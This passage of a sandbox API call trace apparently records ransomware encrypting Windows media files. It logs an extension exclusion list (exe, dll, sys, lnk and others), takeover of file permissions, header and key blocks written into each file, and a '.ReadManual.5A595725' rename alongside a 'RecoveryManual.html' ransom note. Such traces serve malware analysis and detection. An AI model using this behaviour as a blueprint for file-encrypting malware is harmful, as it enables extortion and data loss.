returned 0x0 [0253.103] SetNamedSecurityInfoW () returned 0x0 [0253.104] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.104] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4503) returned 1 [0253.104] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1197, lpName=0x0) returned 0x1a0 [0253.104] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0253.105] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.105] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.109] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.109] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1197) returned 0x2f0000 [0253.110] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37377846132) returned 1 [0253.110] CloseHandle (hObject=0x1a0) returned 1 [0253.110] SetSecurityInfo () returned 0x5 [0253.110] SetSecurityInfo () returned 0x5 [0253.110] LocalFree (hMem=0x674d38) returned 0x0 [0253.110] CloseHandle (hObject=0x184) returned 1 [0253.110] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0253.110] lstrcpyW (in: lpString1=0x6ab914, lpString2="PreviousMenuButtonIconSubpi.png" | out: lpString1="PreviousMenuButtonIconSubpi.png") returned="PreviousMenuButtonIconSubpi.png" [0253.110] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="RecoveryManual.html") returned -1 [0253.110] StrStrIW (lpFirst="PreviousMenuButtonIconSubpi.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.110] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.110] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.110] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.110] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.110] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.110] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.111] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.111] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" [0253.111] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ReadManual.5A595725" [0253.111] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.ReadManual.5A595725") returned 111 [0253.111] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37377940312) returned 1 [0253.111] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0253.111] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.111] GetLastError () returned 0x5 [0253.112] GetNamedSecurityInfoW () returned 0x0 [0253.112] SetNamedSecurityInfoW () returned 0x0 [0253.112] SetNamedSecurityInfoW () returned 0x0 [0253.113] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.113] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3082) returned 1 [0253.113] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc0a, lpName=0x0) returned 0x1a0 [0253.113] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0253.113] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.113] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.115] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.115] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc0a) returned 0x2f0000 [0253.115] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.115] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37378398570) returned 1 [0253.115] CloseHandle (hObject=0x1a0) returned 1 [0253.115] SetSecurityInfo () returned 0x5 [0253.115] SetSecurityInfo () returned 0x5 [0253.115] LocalFree (hMem=0x674d38) returned 0x0 [0253.115] CloseHandle (hObject=0x184) returned 1 [0253.116] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0253.116] lstrcpyW (in: lpString1=0x6ab914, lpString2="redmenu.png" | out: lpString1="redmenu.png") returned="redmenu.png" [0253.116] lstrcmpiW (lpString1="redmenu.png", lpString2="RecoveryManual.html") returned 1 [0253.117] StrStrIW (lpFirst="redmenu.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.117] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.117] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.117] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.117] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.117] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.117] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.117] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" [0253.117] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ReadManual.5A595725" [0253.117] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.ReadManual.5A595725") returned 91 [0253.117] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37378582675) returned 1 [0253.117] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0253.117] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.117] GetLastError () returned 0x5 [0253.117] GetNamedSecurityInfoW () returned 0x0 [0253.118] SetNamedSecurityInfoW () returned 0x0 [0253.118] SetNamedSecurityInfoW () returned 0x0 [0253.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.119] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3108) returned 1 [0253.119] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc24, lpName=0x0) returned 0x1a0 [0253.119] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0253.119] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.119] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.121] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.121] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc24) returned 0x2f0000 [0253.121] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.121] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37378999801) returned 1 [0253.121] CloseHandle (hObject=0x1a0) returned 1 [0253.121] SetSecurityInfo () returned 0x5 [0253.121] SetSecurityInfo () returned 0x5 [0253.121] LocalFree (hMem=0x674d38) returned 0x0 [0253.121] CloseHandle (hObject=0x184) returned 1 [0253.122] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0253.122] lstrcpyW (in: lpString1=0x6ab914, lpString2="Scene_loop.wmv" | out: lpString1="Scene_loop.wmv") returned="Scene_loop.wmv" [0253.122] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="RecoveryManual.html") returned 1 [0253.122] StrStrIW (lpFirst="Scene_loop.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.122] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.122] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.122] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" [0253.122] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ReadManual.5A595725" [0253.122] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.ReadManual.5A595725") returned 94 [0253.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37379096018) returned 1 [0253.122] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0253.122] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.123] GetLastError () returned 0x5 [0253.123] GetNamedSecurityInfoW () returned 0x0 [0253.123] SetNamedSecurityInfoW () returned 0x0 [0253.123] SetNamedSecurityInfoW () returned 0x0 [0253.124] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.124] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=533292) returned 1 [0253.124] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8232c, lpName=0x0) returned 0x1a0 [0253.124] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.124] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.124] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.126] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.126] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8232c) returned 0x2690000 [0253.142] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37381107193) returned 1 [0253.142] CloseHandle (hObject=0x1a0) returned 1 [0253.142] SetSecurityInfo () returned 0x5 [0253.142] SetSecurityInfo () returned 0x5 [0253.143] LocalFree (hMem=0x674d38) returned 0x0 [0253.143] CloseHandle (hObject=0x184) returned 1 [0253.149] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0253.149] lstrcpyW (in: lpString1=0x6ab914, lpString2="Scene_loop_PAL.wmv" | out: lpString1="Scene_loop_PAL.wmv") returned="Scene_loop_PAL.wmv" [0253.149] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.149] StrStrIW (lpFirst="Scene_loop_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.149] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.149] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.149] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" [0253.150] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ReadManual.5A595725" [0253.150] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ReadManual.5A595725") returned 98 [0253.150] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37381836734) returned 1 [0253.150] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0253.150] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.150] GetLastError () returned 0x5 [0253.150] GetNamedSecurityInfoW () returned 0x0 [0253.150] SetNamedSecurityInfoW () returned 0x0 [0253.151] SetNamedSecurityInfoW () returned 0x0 [0253.152] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.152] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=613292) returned 1 [0253.152] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x95bac, lpName=0x0) returned 0x1a0 [0253.152] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0253.152] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.153] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.154] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.155] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x95bac) returned 0x2690000 [0253.183] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.184] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37385251052) returned 1 [0253.184] CloseHandle (hObject=0x1a0) returned 1 [0253.184] SetSecurityInfo () returned 0x5 [0253.184] SetSecurityInfo () returned 0x5 [0253.184] LocalFree (hMem=0x674d38) returned 0x0 [0253.184] CloseHandle (hObject=0x184) returned 1 [0253.191] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0253.191] lstrcpyW (in: lpString1=0x6ab914, lpString2="TitleButtonIcon.png" | out: lpString1="TitleButtonIcon.png") returned="TitleButtonIcon.png" [0253.191] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="RecoveryManual.html") returned 1 [0253.191] StrStrIW (lpFirst="TitleButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.191] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.191] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.191] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.191] StrCmpIW (psz1="png", 